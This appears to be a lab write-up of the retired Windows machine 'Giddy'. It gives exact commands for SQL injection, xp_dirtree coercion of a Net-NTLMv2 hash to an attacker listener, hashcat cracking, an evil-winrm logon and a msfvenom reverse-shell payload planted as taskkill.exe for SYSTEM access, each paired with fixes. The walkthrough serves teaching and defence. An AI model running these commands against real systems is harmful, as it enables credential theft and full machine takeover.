jperezduerto.info
Giddy
Windows· Medium· Privilege Escalation
Summary
I discovered a .NET MVC shopping application on the IIS web server that built SQL queries by concatenating raw user input. Injecting an xp_dirtree call through that flaw caused the MSSQL service — running as the Windows domain user Stacy — to initiate an outbound SMB authentication to my own Responder listener, leaking a Net-NTLMv2 hash. The hash cracked offline, and the recovered credential authenticated a WinRM session that yielded the user flag.
Post-exploitation enumeration revealed the Ubiquiti UniFi Video service running as LocalSystem; on service stop it executes taskkill.exe from C:\ProgramData\unifi-video\ — a directory writable by any standard user. Placing a malicious payload there and stopping the service produced a SYSTEM reverse shell and full machine compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
1EnumerationService and web-content enumeration
Mapped open services and located the MVC web application
An initial nmap scan confirmed IIS on ports 80 and 443, Microsoft RDP on 3389, and Windows Remote Management on 5985. Browsing to port 80 returned an IIS page containing a navigable path to a .NET MVC shopping application at /mvc. Directory enumeration confirmed additional ASPX endpoints including the product-search page that became the exploitation entry point.
Ports 80, 443, 3389, 5985 open; /mvc returns a functional product-catalogue application backed by MSSQL.
Exact commands 2
Targeted service-version scan of the four discovered open ports.
nmap -sC -sV -p 80,443,3389,5985 $TARGET -oN giddy_nmap.txtEnumerate web paths to find /mvc and its child pages.
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x asp,aspx -o giddy_dirs.txt2ExploitationSQL Injection on MSSQL (CWE-89)
Confirmed MSSQL injection in the product-search parameter
The MVC application's product-search endpoint passed the ProductSubCategoryId query-string value directly into a SQL SELECT statement with no parameterization. Submitting a single quote caused the server to return a raw .NET SqlException, confirming the injection point. Error-based probing recovered the MSSQL version banner, establishing the database engine for technique selection.
A single-quote in ProductSubCategoryId produced a SqlException disclosure; MSSQL 2016 version string returned via error-based payload.
Exact commands 2
Single-quote causes a SqlException; visible error confirms unsanitized input reaches the query.
curl -sk "http://$TARGET/mvc/Product.aspx?ProductSubCategoryId=1%27"Error-based version disclosure confirms MSSQL back-end.
curl -sk "http://$TARGET/mvc/Product.aspx?ProductSubCategoryId=1;SELECT+@@version--"FixEliminate SQL injection by parameterizing all database queriesCritical
WeaknessThe product-search page concatenated the raw ProductSubCategoryId query-string value directly into a SQL SELECT statement, letting any visitor inject arbitrary SQL — including stored procedures that reach external network resources.
FixReplace every dynamic SQL string-building pattern in the MVC application with parameterized queries: use SqlCommand with SqlParameter objects in .NET and never interpolate user input into query text. Apply a strict allow-list on the parameter type (integer only for category IDs) and return a generic error on type mismatch. Audit all other ASPX pages and stored procedures for the same pattern. Deploy a Web Application Firewall rule as a secondary, defense-in-depth layer that does not substitute for parameterization.
3ExploitationForced NTLM authentication via MSSQL xp_dirtree UNC coercion (T1187)
Coerced MSSQL server to authenticate to my SMB and captured Stacy's Net-NTLMv2 hash
With confirmed injection and the xp_dirtree extended stored procedure available to the SQL login, I started a Responder SMB listener on the VPN interface and injected a UNC path payload. The SQL Server process — running under Stacy's Windows identity — initiated an outbound SMB connection to my host and exchanged NTLM credentials. Responder captured the full Net-NTLMv2 challenge-response hash for user Stacy.
Responder printed Stacy::GIDDY::<challenge>:<response> within seconds of the injected request.
Exact commands 2
Start Responder on the HTB VPN interface before sending the injection.
sudo responder -I tun0 -wvInject xp_dirtree UNC path; replace $ATTACKER_IP with your tun0 address. MSSQL will authenticate to Responder.
curl -sk "http://$TARGET/mvc/Product.aspx?ProductSubCategoryId=1;EXEC+xp_dirtree+'\\\\$ATTACKER_IP\\share',1,1--"FixDisable xp_dirtree, run SQL Server under a managed service account, and block outbound SMBHigh
WeaknessThe SQL Server process ran under a named Windows user account whose NTLM credential could be coerced over the network. The xp_dirtree extended stored procedure — executable by any authenticated SQL login — provided the coercion mechanism, and the service account had no password rotation and cracked quickly against a common wordlist.
FixRevoke execute permission on xp_dirtree and related extended procedures for all non-sysadmin principals: DENY EXECUTE ON xp_dirtree TO PUBLIC; repeat for xp_cmdshell, xp_fileexist, and sp_OACreate. Run the SQL Server service under a Group Managed Service Account (gMSA) with a system-managed 120-character rotating password and no interactive logon rights. Use Windows Firewall to block outbound TCP 445 from the SQL Server host to any destination outside an explicit allowlist. Enable SQL Server Audit or Extended Events to alert on any execution of extended stored procedures.
4ExploitationOffline password cracking — Net-NTLMv2 (T1110.002)
Cracked the Net-NTLMv2 hash offline to recover Stacy's plaintext password
The captured hash was saved from Responder's output and fed to hashcat with the rockyou wordlist. The password cracked in seconds, providing the plaintext Windows credential for the Stacy account that was then verified against both WinRM and RDP.
Hashcat reported the hash cracked; recovered credential authenticated successfully to WinRM on port 5985.
Exact commands 1
Mode 5600 targets Net-NTLMv2. Paste the full Responder hash line into stacy_hash.txt.
hashcat -m 5600 stacy_hash.txt /usr/share/wordlists/rockyou.txt --force5FootholdRemote interactive logon via Windows Remote Management (T1021.006)
Authenticated via WinRM as Stacy and captured the user flag
Using the cracked credential, I opened a PowerShell session over WinRM on port 5985. The session landed as a standard local user with access to the Desktop, where the user flag was present.
Evil-winrm produced an interactive PS session; user.txt read from C:\Users\Stacy\Desktop\.
Exact commands 2
Replace <stacy_password> with the value recovered by hashcat.
evil-winrm -i $TARGET -u Stacy -p '<stacy_password>'Retrieves the user flag — actual value redacted as <user.txt>.
type C:\Users\Stacy\Desktop\user.txt6Privilege EscalationExecutable path hijacking via writable service program-data directory (T1574.005)
Identified SYSTEM-level Ubiquiti UniFi Video service loading an executable from a user-writable path
Enumerating installed applications and running services revealed the Ubiquiti UniFi Video surveillance management application. The service runs as LocalSystem. On service shutdown the Windows service manager invokes taskkill.exe from C:\ProgramData\unifi-video\ — a path that carries write permissions for the BUILTIN\Users group, meaning any local user can plant an executable there. No legitimate taskkill.exe existed in that directory, leaving the execution slot fully open.
Icacls C:\ProgramData\unifi-video\ showed BUILTIN\Users:(OI)(CI)(W); no taskkill.exe was present in the directory.
Exact commands 3
Confirm the UniFi Video service is present and note its name.
Get-Service | Where-Object {$_.DisplayName -like '*Ubiquiti*'}Verify that standard users have write access to the service's working directory.
icacls 'C:\ProgramData\unifi-video'Confirm taskkill.exe is absent, meaning the hijack slot is unoccupied.
ls 'C:\ProgramData\unifi-video\'FixUpdate or remove Ubiquiti UniFi Video and lock the service program-data directory to administrators onlyCritical
WeaknessThe Ubiquiti UniFi Video service runs as LocalSystem and invokes taskkill.exe from C:\ProgramData\unifi-video\ — a directory writable by all local users — on service shutdown. Any standard user can place a malicious executable there and obtain SYSTEM code execution the next time the service cycles, which is a known vulnerability in older UniFi Video builds.
FixUninstall Ubiquiti UniFi Video if not operationally required; if required, update to the latest patched version. Regardless of version, remove write permissions for non-administrative users from C:\ProgramData\unifi-video\ using icacls to grant access only to SYSTEM and the Administrators group: icacls "C:\ProgramData\unifi-video" /inheritance:d /remove Users /grant Administrators:F /grant SYSTEM:F. Deploy a Windows Defender Application Control (WDAC) or AppLocker policy that prevents execution of unsigned binaries from any ProgramData subdirectory.
7Privilege EscalationService binary hijacking for SYSTEM privilege escalation (T1574.005)
Hijacked service execution to obtain a SYSTEM reverse shell and captured the root flag
A reverse-shell payload was generated, renamed taskkill.exe, and uploaded to C:\ProgramData\unifi-video\. With a listener ready on the attack machine, the Ubiquiti UniFi Video service was stopped. The service manager called the malicious taskkill.exe as LocalSystem, delivering a SYSTEM-level shell. The root flag was retrieved from the Administrator Desktop.
Listener received a SYSTEM shell connection immediately after Stop-Service; root.txt read from C:\Users\Administrator\Desktop\.
Exact commands 5
Build the payload; replace $ATTACKER_IP with your tun0 IP.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f exe -o taskkill.exeUpload via the active evil-winrm session.
upload taskkill.exe 'C:\ProgramData\unifi-video\taskkill.exe'Start the listener on the attack host before stopping the service.
nc -lvnp 4444Stopping the service triggers execution of the malicious taskkill.exe as SYSTEM.
Stop-Service -Name 'Ubiquiti UniFi Video'Read the root flag from the SYSTEM shell — actual value redacted as <root.txt>.
type C:\Users\Administrator\Desktop\root.txtExposed services
| 80/tcp | http |
| 443/tcp | https |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |
| 5985/tcp | wsman |